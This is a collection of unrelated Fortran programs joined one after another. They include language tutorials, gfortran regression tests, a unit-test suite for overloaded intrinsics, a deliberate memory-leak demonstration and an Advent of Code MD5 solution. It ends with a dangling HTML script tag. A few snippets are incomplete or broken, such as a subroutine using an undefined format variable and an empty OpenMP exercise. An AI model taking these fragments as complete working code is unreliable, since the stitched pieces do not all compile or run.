program case_02
    implicit none

    ! local variable declaration
    integer :: marks
    marks = 81

    select case (marks)

       case (91:100)
          print*, "Excellent!"

       case (81:90)
          print*, "Very good!"

       case (71:80)
          print*, "Well done!"

       case (61:70)
          print*, "Not bad!"

       case (41:60)
          print*, "You passed!"

       case (:40)
          print*, "Better try again!"

       case default
          print*, "Invalid marks"

    end select
    print*, "Your marks are ", marks

    ! case default at the top
    select case (marks)

       case default
          print*, "Invalid marks"

       case (91:100)
          print*, "Excellent!"

       case (81:90)
          print*, "Very good!"

       case (71:80)
          print*, "Well done!"

       case (61:70)
          print*, "Not bad!"

       case (41:60)
          print*, "You passed!"

       case (:40)
          print*, "Better try again!"

    end select
    print*, "Your marks are ", marks

    ! case default in the middle
    select case (marks)

       case (91:100)
          print*, "Excellent!"

       case (81:90)
          print*, "Very good!"

       case default
          print*, "Invalid marks"

       case (71:80)
          print*, "Well done!"

       case (61:70)
          print*, "Not bad!"

       case (41:60)
          print*, "You passed!"

       case (:40)
          print*, "Better try again!"

    end select
    print*, "Your marks are ", marks

end program


program ex11

    implicit none

    integer, parameter :: rk = selected_real_kind(15,300)

    integer :: i

    do i = 1, 10
        print*, i
    end do

    print*, '----'

    do i = 2, 30, 4
        print*, i
        ! i = 3
    end do

    print*, '----'

    do i = 1, 1000

        if (i>50) then
            print*, 'i>50, exiting'
            exit
        else if (i<20) then
            print*, 'i<20, cycling'
            cycle
        end if

        print*, i

    end do

end program ex11


module M_test_suite_M_overload
use, intrinsic :: iso_fortran_env, only : integer_kinds, int8, int16, int32, int64
use, intrinsic :: iso_fortran_env, only : real32, real64, real128
use M_msg
use M_verify, only : unit_check_command, unit_check_keep_going, unit_check_level
use M_overload
private
public test_suite_m_overload
contains
!===================================================================================================================================
!()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()=
!===================================================================================================================================
! BUG REPORTS: https://gcc.gnu.org/bugzilla/show_bug.cgi?id=103782
!===================================================================================================================================
!()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()=
!===================================================================================================================================
subroutine test_suite_M_overload()
use M_verify,                 only : unit_check_start,unit_check,unit_check_done,unit_check_good,unit_check_bad,unit_check_msg
use M_verify,                 only : unit_check_level
use M_verify,                 only : almost
!use M_compare_float_numbers, only : operator(.EqualTo.)
implicit none
character(len=:),allocatable :: cmd

!! setup
   unit_check_level=5
   if(command_argument_count().eq.0)then
      call test_boolean_equal()
      call test_boolean_notequal()
      call test_dble_s2v()
      call test_dbles_s2v()
      call test_int_s2v()
      call test_ints_s2v()
      call test_real_s2v()
      call test_reals_s2v()
      call test_sign()
!$!      call get_command(cmd,realloc=.true.)
!$!      cmd=cmd//' -x -y "hello there" xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
!$!      call execute_command_line(cmd)
!$!   else
!$!      call test_get_command()
!$!      call test_get_command_argument()
   endif
!! teardown
contains
!TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT
subroutine test_sign()
!use M_overload,              only : operator(==)
   call unit_check_start('sign',' &
         & -description "overload SIGN to take a single argument" &
         & -section 3  &
         & -library libGPF  &
         & -filename `pwd`/M_overload.FF &
         & -documentation y &
         &  -prep         y &
         &  -ccall        n &
         &  -archive      GPF.a &
         & ')
   call unit_check('sign',sign(10_int8).eq.1.and.sign(-10_int8).eq.-1,'sign(+-10_int8)',sign(10_int8),sign(-10_int8))
   call unit_check('sign',sign(10_int16).eq.1.and.sign(-10_int16).eq.-1,'sign(+-10_int16)',sign(10_int16),sign(-10_int16))
   call unit_check('sign',sign(10_int32).eq.1.and.sign(-10_int32).eq.-1,'sign(+-10_int32)',sign(10_int32),sign(-10_int32))
   call unit_check('sign',sign(10_int64).eq.1.and.sign(-10_int64).eq.-1,'sign(+-10_int64)',sign(10_int64),sign(-10_int64))
   call unit_check('sign',sign(10.0_real32).eq.1.and.sign(-10.0_real32).eq.-1,&
   & 'sign(+-10_real32)',sign(10.0_real32),sign(-10.0_real32))
   call unit_check('sign',sign(10.0_real64).eq.1.and.sign(-10.0_real64).eq.-1,&
   & 'sign(+-10_real64)',sign(10.0_real64),sign(-10.0_real64))
   call unit_check('sign',sign(10.0_real128).eq.1.and.sign(-10.0_real128).eq.-1,&
   & 'sign(+-10_real128)',sign(10.0_real128),sign(-10.0_real128))
   call unit_check_done('sign',msg='')
end subroutine test_sign
!TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT
subroutine test_boolean_equal()
!use M_overload,              only : operator(==)
   call unit_check_start('boolean_equal',' &
         & -description "overload == to take LOGICAL arguments" &
         & -section 3  &
         & -library libGPF  &
         & -filename `pwd`/M_overload.FF &
         & -documentation y &
         &  -prep         y &
         &  -ccall        n &
         &  -archive      GPF.a &
         & ')
   call unit_check('boolean_equal',.true. == .true. ,'== works like .eqv. for LOGICAL values')
   call unit_check_done('boolean_equal',msg='')
end subroutine test_boolean_equal
!TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT
subroutine test_boolean_notequal()
!use M_overload,              only : operator(/=)
   call unit_check_start('boolean_notequal',' &
         & -description "overload /= to take LOGICAL arguments" &
         & -section 3  &
         & -library libGPF  &
         & -filename `pwd`/M_overload.FF &
         & -documentation y &
         &  -prep         y &
         &  -ccall        n &
         &  -archive      GPF.a &
         & ')
   call unit_check('boolean_notequal', (.true. /= .false. ),'/= works like .neqv. for LOGICAL values')
   call unit_check_done('boolean_notequal',msg='')
end subroutine test_boolean_notequal
!TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT
subroutine test_dble_s2v()
!use M_overload,              only : int, real, dble
   call unit_check_start('dble_s2v',' &
         & -description "overload dble() to take string arguments" &
         & -section 3  &
         & -library libGPF  &
         & -filename `pwd`/M_overload.FF &
         & -documentation y &
         &  -prep         y &
         &  -ccall        n &
         &  -archive      GPF.a &
         & ')
   if(dble('0.3570726221234567').eq. 0.3570726221234567d0)then
      call unit_check_good('dble_s2v')                                             ! string passed to dble
!   elseif(dble('0.3570726221234567') .EqualTo. 0.3570726221234567d0 )then
   elseif(abs(dble('0.3570726221234567') - 0.3570726221234567d0 ).lt.2*epsilon(0.0d0))then
      call unit_check_good('dble_s2v')                                             ! string passed to real but not exactly
   else
      call unit_check_bad('dble_s2v')                                              ! returned value not equal to expected value
   endif
end subroutine test_dble_s2v
!TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT
subroutine test_dbles_s2v()
doubleprecision,allocatable :: vals(:)
   call unit_check_start('dbles_s2v',' &
         & -description "overload dble() to take string arguments" &
         & -section 3  &
         & -library libGPF  &
         & -filename `pwd`/M_overload.FF &
         & -documentation y &
         &  -prep         y &
         &  -ccall        n &
         &  -archive      GPF.a &
         & ')

   vals=dble(['10.0d0','20.0d0'])
   vals=vals-[10.0d0,20.0d0]

   if(all(vals.eq.0.0d0))then
      call unit_check_good('dbles_s2v')                                             ! string passed to dble
   elseif(all(vals.lt.2*epsilon(0.0d0)))then
      call unit_check_good('dbles_s2v')                                             ! string passed to real but not exactly
   else
      call unit_check_bad('dbles_s2v')                                              ! returned value not equal to expected value
   endif
!!   ENCOUNTERS GFORTRAN 10.3.0 BUG
!!   if(all(abs(dble(['10.0d0','20.0d0']).eq.[10.0d0,20.0d0])))then
!!      call unit_check_good('dbles_s2v')                                             ! string passed to dble
!!!   elseif(all(dble(['10.0d0','20.0d0']) .EqualTo. [10.0d0,20.0d0]))then
!!   elseif(all(abs(dble(['10.0d0','20.0d0']) - [10.0d0,20.0d0]).lt.2*epsilon(0.0d0)))then
!!      call unit_check_good('dbles_s2v')                                             ! string passed to real but not exactly
!!   else
!!      call unit_check_bad('dbles_s2v')                                              ! returned value not equal to expected value
!!   endif
end subroutine test_dbles_s2v
!TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT
subroutine test_int_s2v()
   call unit_check_start('int_s2v',' &
         & -description "overload INT() to take string arguments" &
         & -section 3  &
         & -library libGPF  &
         & -filename `pwd`/M_overload.FF &
         & -documentation y &
         &  -prep         y &
         &  -ccall        n &
         &  -archive      GPF.a &
         & ')
   call unit_check('int_s2v',int('1234').eq.1234,'string passed to int')
   call unit_check_done('int_s2v',msg='')
end subroutine test_int_s2v
!TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT
subroutine test_ints_s2v()
integer,allocatable :: ibug(:)
   call unit_check_start('ints_s2v',' &
         & -description "overload INT() to take string arguments" &
         & -section 3  &
         & -library libGPF  &
         & -filename `pwd`/M_overload.FF &
         & -documentation y &
         &  -prep         y &
         &  -ccall        n &
         &  -archive      GPF.a &
         & ')
   !!if(all(int(['100','200']).eq. [100,200]))then
   ibug=int(['100','200'])
   if(all(ibug.eq. [100,200]))then
      call unit_check_good('ints_s2v')                                             ! string passed to int
   else
      call unit_check_bad('ints_s2v')                                              ! returned value not equal to expected value
   endif
end subroutine test_ints_s2v
!TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT
subroutine test_real_s2v()
   call unit_check_start('real_s2v','&
         & -description "overload REAL() to take string arguments" &
         & -section 3                    &
         & -library libGPF               &
         & -filename `pwd`/M_overload.FF &
         & -documentation y              &
         &  -prep         y              &
         &  -ccall        n              &
         &  -archive      GPF.a          &
         & ')
   if(REAL('0.357072622').eq. 0.357072622)then
      call unit_check_good('real_s2v')
   elseif(almost(real('0.357072622'), 0.357072622,7.0) )then
      call unit_check_good('real_s2v')                                          ! string passed to real but not exactly
   else
      call unit_check_bad('real_s2v')                                           ! returned value not equal to expected value
   endif
end subroutine test_real_s2v
!TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT
subroutine test_reals_s2v()
real,allocatable :: rbug(:)
   call unit_check_start('reals_s2v','&
         & -description "overload REAL() to take string arguments" &
         & -section 3                    &
         & -library libGPF               &
         & -filename `pwd`/M_overload.FF &
         & -documentation y              &
         &  -prep         y              &
         &  -ccall        n              &
         &  -archive      GPF.a          &
         & ')
   rbug=real(['0.357072622','200.0      '])
   if(all(rbug.eq. [0.357072622,200.0]))then
      call unit_check_good('reals_s2v')                                             ! string passed to int
!   elseif(all(real(['0.357072622','200.0      ']) .EqualTo. [0.357072622,200.0]))then
   elseif(all(abs(real(['0.357072622','200.0      ']) - [0.357072622,200.0]).lt.2*epsilon(0.0d0)))then
      call unit_check_good('reals_s2v')                                             ! string passed to real but not exactly
   else
      call unit_check_bad('reals_s2v')                                              ! returned value not equal to expected value
   endif

end subroutine test_reals_s2v
!TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT
!$!subroutine test_get_command()
!$!   call unit_check_start('get_command','&
!$!         & -description "overload GET_COMMAND() to take allocatable string" &
!$!         & -section 3                    &
!$!         & -library libGPF               &
!$!         & -filename `pwd`/M_overload.FF &
!$!         & -documentation y              &
!$!         &  -prep         y              &
!$!         &  -ccall        n              &
!$!         &  -archive      GPF.a          &
!$!         & ')
!$!   call unit_check_done('get_command',msg='')
!$!end subroutine test_get_command
!TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT
!$!subroutine test_get_command_argument()
!$!integer                      :: istat, ilen, i
!$!character(len=:),allocatable :: argument, arguments
!$!character(len=10)            :: regular
!$!integer,allocatable          :: istats(:), ilens(:)
!$!! assuming called with cmd//' -x -y "hello there" xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
!$!   call unit_check_start('get_command_argument','&
!$!    & -description "overload GET_command_argument() to take allocatable string" &
!$!    & -section 3                    &
!$!    & -library libGPF               &
!$!    & -filename `pwd`/M_overload.FF &
!$!    & -documentation y              &
!$!    &  -prep         y              &
!$!    &  -ccall        n              &
!$!    &  -archive      GPF.a          &
!$!    & ')
!$!
!$!   ! unallocated allocatable variable and realloc=.true.
!$!   allocate(integer :: istats(0),ilens(0))
!$!   arguments=''
!$!   do i=1, command_argument_count()
!$!      call get_command_argument(i, argument, length=ilen, status=istat, realloc=.true.)
!$!      istats=[istats,istat]
!$!      ilens=[ilens,ilen]
!$!      arguments=arguments//argument//' '
!$!   enddo
!$!   write(*,*)'ISTATS=',istats
!$!   write(*,*)'ILENS=',ilens
!$!   write(*,*)'ARGUMENTS=',arguments
!$!   call unit_check('get_command_argument',all(istats.eq.0),'check if all status returns are zero')
!$!   call unit_check('get_command_argument',all(ilens.eq.[2,2,11,36]),'check lengths')
!$!   call unit_check('get_command_argument',arguments.eq.'-x -y hello there xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx')
!$!
!$!   ! allocated allocatable variable and realloc=.true.
!$!   if(allocated(istats))deallocate(istats)
!$!   if(allocated(ilens))deallocate(ilens)
!$!   if(allocated(argument))deallocate(argument)
!$!   allocate(integer :: istats(0),ilens(0))
!$!   argument='12345678901234'
!$!   arguments=''
!$!   do i=1, command_argument_count()
!$!      call get_command_argument(i, argument, length=ilen, status=istat, realloc=.true.)
!$!      istats=[istats,istat]
!$!      ilens=[ilens,ilen]
!$!      arguments=arguments//argument//' '
!$!   enddo
!$!   write(*,*)'ISTATS=',istats
!$!   write(*,*)'ILENS=',ilens
!$!   write(*,*)'ARGUMENTS=',arguments
!$!   call unit_check('get_command_argument',all(istats.eq.0),'check if all status returns are zero')
!$!   call unit_check('get_command_argument',all(ilens.eq.[2,2,11,36]),'check lengths')
!$!   call unit_check('get_command_argument',arguments.eq.'-x -y hello there xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx')
!$!
!$!   ! allocatable variable already allocated and no realloc=.true.
!$!   deallocate(istats,ilens,argument)
!$!   allocate(integer :: istats(0),ilens(0))
!$!   arguments=''
!$!   allocate(character(len=10) :: argument)
!$!   do i=1, command_argument_count()
!$!      call get_command_argument(i, argument, length=ilen, status=istat)
!$!      istats=[istats,istat]
!$!      ilens=[ilens,ilen]
!$!      arguments=arguments//argument//' '
!$!   enddo
!$!   write(*,*)'ISTATS=',istats
!$!   write(*,*)'ILENS=',ilens
!$!   write(*,*)'ARGUMENTS=',arguments
!$!   call unit_check('get_command_argument',all(istats.eq.[0,0,-1,-1]),'check if get truncations as expected')
!$!   call unit_check('get_command_argument',all(ilens.eq.[2,2,11,36]),'check lengths')
!$!   call unit_check('get_command_argument',arguments.eq.'-x         -y         hello ther xxxxxxxxxx')
!$!
!$!   ! regular
!$!   deallocate(istats,ilens)
!$!   allocate(integer :: istats(0),ilens(0))
!$!   arguments=''
!$!   do i=1, command_argument_count()
!$!      call get_command_argument(i, regular, length=ilen, status=istat)
!$!      istats=[istats,istat]
!$!      ilens=[ilens,ilen]
!$!      arguments=arguments//regular//' '
!$!   enddo
!$!   write(*,*)'ISTATS=',istats
!$!   write(*,*)'ILENS=',ilens
!$!   write(*,*)'ARGUMENTS=',arguments
!$!   call unit_check('get_command_argument',all(istats.eq.[0,0,-1,-1]),'check if get truncations as expected')
!$!   call unit_check('get_command_argument',all(ilens.eq.[2,2,11,36]),'check lengths')
!$!   call unit_check('get_command_argument',arguments.eq.'-x         -y         hello ther xxxxxxxxxx')
!$!
!$!   call unit_check_done('get_command_argument',msg='')
!$!end subroutine test_get_command_argument
!===================================================================================================================================
end subroutine test_suite_M_overload
end module M_test_suite_M_overload

program runtest
use M_msg
use M_verify, only : unit_check_command, unit_check_keep_going, unit_check_level, unit_check_stop
use M_test_suite_M_overload
implicit none
   unit_check_command=''
   unit_check_keep_going=.true.
   unit_check_level=0
   call test_suite_M_overload()
   call unit_check_stop()
end program runtest


program main
    use std ! standard package of SiCroF library
    implicit none

    ! This example utilizes Input-Output Class, where
    ! You can handle external files.

    ! How to use:

    ! First, create the instance

    type(IO_) :: f ! file-IO instance
    integer(int32) :: i, num ! int i and int num

    ! #1 create, edit and close files.
    ! ----> open file(filepath, filename, extention)
    call f%open("./test.txt",'w')
    ! write something
    call f%write(100.0d0)
    write(f%fh,*) 100.0d0
    ! and close it
    call f%close()

    ! ----> create sequential files (filepath, filename, extention)
    ! it creates
    ! ./hello1.txt
    ! ./hello2.txt
    ! ./hello3.txt
    ! ...
    ! ./hello10.txt

    ! for i=1; i<11;i++
    do i=1,10
        !    f.open(filepath, filename, extention)
        !    str(int) => string
        call f%open("./hello"//str(i)//".txt",'w')
        ! This
        call f%write(i)
        ! and this
        write(f%fh,*) str(i)
        ! are same
        call f%close()

        call f%open("./hello"//str(i)//".txt",'r')
        ! read a line
        read(f%fh,*) num
        ! print(num)
        print *, num
        call f%close()
    enddo

    ! Importance Index 7 / 10 : [*******   ]

end program


program test
      character, dimension(10) :: arr
      integer, dimension(10, 9) :: arr2
      integer, dimension(:, :), allocatable :: arr3

      print *, size(arr)
      print *, size(arr2)
      allocate(arr3(5, 6))
      print *, size(arr3)

end program test


     program memoryloss
     implicit none
     real, pointer, dimension(:,:) :: p1
     character(len=80), pointer    :: c1
     character(len=1)              :: paws
        write(*,*)'look at memory use before allocation'; read(*,*)paws
        allocate ( p1(5000,5000), c1)
	p1=1.0
        write(*,*)'look at memory use after allocation'; read(*,*)paws
	write(*,*)sum(p1)
        c1 = 'example   '
        nullify(p1,c1) ! NO!: last name to reference memory is being lost
        write(*,*)'look at memory use after nullify'; read(*,*)paws
     end program memoryloss


! Snippet to test various allocate statements

program test_allocate
   implicit none
   type t
      integer i
      real r
   end type
   type pt
      integer, pointer :: p
   end type
   integer, allocatable, dimension(:, :) :: a
   type (t), pointer, dimension(:) :: b
   type (pt), pointer :: c
   integer, pointer:: p
   integer n

   n = 10
   allocate (a(1:10, 4))
   allocate (a(5:n, n:14))
   allocate (a(6, 8))
   allocate (b(n))
   allocate (c)
   allocate (c%p)
   allocate (p)
end program


program scopes1
implicit none
integer :: i, j
j = 1
call f(i)

contains

    subroutine f(b)
    integer, intent(out) :: b
    b = j + 1
    end subroutine

end program


! { dg-do run }
! pr 17090 Runtime I/O error
! bdavis9659@comcast.net
! 9/12/2004
! list directed read with spaces between the last data item and the
! eoln cause missed data items.
! this is a libgfortran test case
       implicit none
       integer i,sum
       real a(14)
       data sum / 0 /
       open(unit=9,status='SCRATCH')
       write(9,*)1.0,2.0,3.0,4.0,'      '
       write(9,*)5.0,6.0,7.0,8.0,'      '
       write(9,*)9.0,10.0,11.0,12.0,13.0,14.0,'      '
       rewind(9)
       read(9,*)a
       do i = 1,14
          sum = sum + a(i)
       end do
       if (sum.ne.105) STOP 1
       end


! http://adventofcode.com/day/4
!
! Part 1
! ------
! Santa needs help mining some AdventCoins (very similar to
! bitcoins) to use as gifts for all the economically
! forward-thinking little girls and boys.
!
! To do this, he needs to find MD5 hashes which, in hexadecimal,
! start with at least five zeroes. The input to the MD5 hash
! is some secret key (your puzzle input, given below) followed by
! a number in decimal. To mine AdventCoins, you must find Santa
! the lowest positive number (no leading zeroes: 1, 2, 3, ...)
! that produces such a hash.
!
! For example:
!
!  - If your secret key is abcdef, the answer is 609043, because
!       the MD5 hash of abcdef609043 starts with five zeroes
!       (000001dbbfa...), and it is the lowest such number to do so.
!  - If your secret key is pqrstuv, the lowest number it combines
!       with to make an MD5 hash starting with five zeroes is
!       1048970; that is, the MD5 hash of pqrstuv1048970 looks
!       like 000006136ef....
!
!
! Part 2
! ------
! Now find one that starts with six zeroes.

include 'md5.f95'

program puzzle04
    implicit none

    interface
        function work(input, prefix, digest)
            implicit none
            character(len=*), intent(in) :: input, prefix
            character(len=32), intent(out) :: digest
            integer work
        end function work
    end interface

    integer, parameter :: infile = 10
    character(10000) :: text
    character(50) :: input
    character(32) :: digest
    character(30) :: num
    integer :: strlen, i, j, digestlen
    logical :: found

    open(unit=infile, file='../advent2015/inputs/input04.txt')

    ! Read the input file
    read(infile, '(a10000)') text
    text = trim(text)
    strlen = len(trim(text))

    ! Part 1
    i = work(trim(text), '00000', digest)
    write (num, '(i8)') i
    print '(a22, a8, a10, a32)', '[Fortran] Puzzle 4-1: ', trim(adjustl(num)), ' produces ', trim(digest)

    ! Part 2
    i = work(trim(text), '000000', digest)
    write (num, '(i8)') i
    print '(a22, a8, a10, a32)', '[Fortran] Puzzle 4-2: ', adjustl(num), ' produces ', digest
end program

integer function work(text, prefix, digest)
    implicit none

    interface
        function check(digest, prefix)
            implicit none
            character(len=*), intent(in) :: digest, prefix
            logical check
        end function check
        function md5(string)
            implicit none
            character*(*), intent(in) :: string
            character*32 md5
        end function md5
    end interface

    character(len=*), intent(in) :: text, prefix
    character(len=32), intent(out) :: digest
    character(len=50) :: input
    character(len=30) :: num
    integer :: inputlen, prefixlen, i, j
    logical :: found

    found = .false.
    i = -1
    do while (.not. found)
        i = i + 1

        write (num, '(i30)') i
        input = trim(trim(text) // trim(adjustl(num)))
        digest = md5(trim(input))

        ! The MD5 algorithm has a known issue where 0s become spaces, so
        ! we need to change them back for the comparison to work
        do j = 1, 32
            if (digest(j:j) == ' ') then
                digest(j:j) = '0'
            end if
        end do

        found = check(digest, prefix)
    end do

    work = i
end function

logical function check(digest, prefix)
    implicit none
    character(len=*), intent(in) :: digest, prefix
    integer :: prefixlen, i

    prefixlen = len(prefix)

    if (digest(1:prefixlen) == prefix) then
        check = .true.
    else
        check = .false.
    end if
end function


    program demo_not
    implicit none
    integer :: i

       i=13741
       write(*,'(b32.32,1x,i0)')i,i
       write(*,'(b32.32,1x,i0)')not(i),not(i)

    end program demo_not


!
!	Exercise 1:
!	Intent : Write a helloworld program with OpenMP.
!
!	Goals:
!		1. Include OpenMP header
!		2. Within the scope of #pragma omp parallel
!			a. Each thread queries it thread ID.
!			b. Each thread then prints its thread ID.
!
program hello90
integer:: id,nthreads,omp_get_thread_num,omp_get_num_threads
!Initialize omp parallel
! Call environment query to get thread id.
! Each thread then writes its thread id to stdout.
!end parallel
end program


! { dg-do compile }
! { dg-options "-std=f95" }
! Check for notify-std-messages when F2003 structure constructors are compiled
! with -std=f95.

PROGRAM test
  IMPLICIT NONE

  ! Basic type with default initializers
  TYPE :: basics_t
    INTEGER :: i = 42
    REAL :: r = 1.5
  END TYPE basics_t

  TYPE(basics_t) :: basics

  ! This is ok in F95
  basics = basics_t (1, 2.)

  ! No argument naming in F95
  basics = basics_t (1, r = 4.2) ! { dg-error "Fortran 2003" }

  ! No optional arguments in F95
  basics = basics_t () ! { dg-error "Fortran 2003" }
  basics = basics_t (5) ! { dg-error "Fortran 2003" }

END PROGRAM test


subroutine print_rvector(A,name)
real(kind=8),  intent(in) :: A(:)
character(len=*), intent(in) :: name
integer :: i, n
n = size(A)
write(*,'(a,a)') name," = "
do i=1,n
    write(*,"("//FMT//")") A(i)
enddo
write(*,*) ""
end subroutine print_rvector


! { dg-do compile }
! PR 19260  Test line continuations and spaces.
! Submitted by Jerry DeLisle <jvdelisle@gcc.gnu.org>.
x = si&  ! { dg-error "Unclassifiable statement" }
n(3.14159/2)
end


PROGRAM target

  INTEGER, TARGET :: i, i2
  INTEGER, POINTER :: p_i, p_i2

  REAL, DIMENSION(:), ALLOCATABLE, TARGET :: rdata
  REAL, DIMENSION(:), POINTER :: pdata
  REAL, POINTER :: p_r

  PRINT *,'**** Simple variable ****'
  PRINT *,'Setting i to 10'
  i = 10
  p_i => i
  PRINT *, 'Pointer to i is now ', p_i
  PRINT *, 'Setting pointer to i to 20'
  p_i = 20
  PRINT *,'i is now ', i

  PRINT *, ''
  PRINT *, '**** Accidental equality ****'
  PRINT *, 'Setting i to 10'
  i = 10
  PRINT *, 'Setting i2 to 20'
  i2 = 20
  PRINT *, 'Pointing pointer to i'
  p_i => i
  PRINT *, 'Is pointer pointing to i :', ASSOCIATED(p_i, TARGET = i)
  PRINT *, 'Now using equality rather than points to operator'
  p_i = i2
  PRINT *, 'Is pointer still pointing to i :', ASSOCIATED(p_i, TARGET = i)
  PRINT *, 'p_i is ', p_i
  PRINT *, 'i is ', i
  PRINT *, 'i2 is ', i2
  PRINT *, 'p_i appears to correctly have the value 20 but by changing the &
      &value of i rather than pointing it to i2'
  PRINT *, 'Watch out for using = rather than => in pointer code'
  PRINT *, 'If you use = on a NULL pointer you will probably crash your code'
  PRINT *, 'Now setting i2 to 100'
  i2 = 100
  PRINT *, 'p_i is ', p_i
  PRINT *, 'i is ', i
  PRINT *, 'i2 is ', i2
  PRINT *, 'The value of p_i is not changed by changing i2'

  PRINT *,''
  PRINT *,'**** Arrays ****'
  PRINT *,'Allocating data to be -10:10'
  ALLOCATE(rdata(-10:10))
  pdata => rdata
  PRINT *, 'Bounds and sizes of data'
  PRINT *, LBOUND(rdata), UBOUND(rdata), SIZE(rdata)
  PRINT *, 'Bounds and sizes of pointer to data'
  PRINT *, LBOUND(pdata), UBOUND(pdata), SIZE(pdata)

  PRINT *, ''
  PRINT *, '**** Direct allocation ****'
  PRINT *,'Allocating p_i and setting to 100'
  ALLOCATE(p_i)
  p_i = 100

  PRINT *,'i is ', i
  PRINT *,'p_i is ', p_i
  PRINT *,'p_i is now just a variable and is no longer pointing to i'
  DEALLOCATE(p_i, rdata)

  PRINT *,''
  PRINT *,'**** Pointer to element of array ****'
  PRINT *,'Allocating array with 5 elements and setting to 0'
  ALLOCATE(rdata(1:5))
  rdata = 0
  PRINT *,'Pointing single pointer to element 3 and setting to 1'
  p_r => rdata(3)
  p_r = 1.0
  PRINT *,'Array contents is now'
  PRINT *, rdata
  DEALLOCATE(rdata)

  PRINT *,''
  PRINT *,'**** Pointer to array subsection ****'
  PRINT *,'Allocating array with 10 elements and setting to 0'
  ALLOCATE(rdata(1:10))
  rdata = 0
  PRINT *,'Setting array pointer to elements 3 to 5'
  pdata => rdata(3:5)
  PRINT '(A,I2,A,I2)','Size of pdata is ', LBOUND(pdata), ':', UBOUND(pdata)
  PRINT *,'Setting elements to 1'
  pdata = 1.0
  PRINT *,'Array contents is now'
  PRINT *, rdata
  DEALLOCATE(rdata)

  PRINT *, ''
  PRINT *, '**** No pointer to pointer ****'
  PRINT *, 'Setting i to 10 and i2 to 20'
  i  = 10
  i2 = 20
  PRINT *, 'Pointing p_i to i and p_i2 to p_i'
  p_i => i
  p_i2 => p_i

  PRINT *, 'Values of p_i and p_i2'
  PRINT *, 'p_i :', p_i
  PRINT *, 'p_i2 :', p_i2
  PRINT *, 'Pointing p_i to p2'
  p_i => i2
  PRINT *, 'Values of p_i and p_i2'
  PRINT *, 'p_i :', p_i
  PRINT *, 'p_i2 :', p_i2
  PRINT *, 'Is p_i2 pointing to i :', ASSOCIATED(p_i2, TARGET = i)
  PRINT *, 'Even though p_i2 was pointed to p_i it is NOT a pointer to p_i.'
  PRINT *, 'It is still a pointer to i'
  PRINT *, 'There is no concept of a pointer to a pointer in Fortran'

END PROGRAM target


! { dg-do run }
! PR 22607: PURE/ELEMENTAL return-by-reference functions
program main
  implicit none
  character(2), dimension(2) :: a, b
  a = 'ok'
  b = fun(a)
  if (.not.all(b == 'ok')) STOP 1
contains
  elemental function fun(a)
    character(*), intent(in) :: a
    character(len(a)) :: fun
    fun = a
  end function fun
end program main


<script language =javascript>
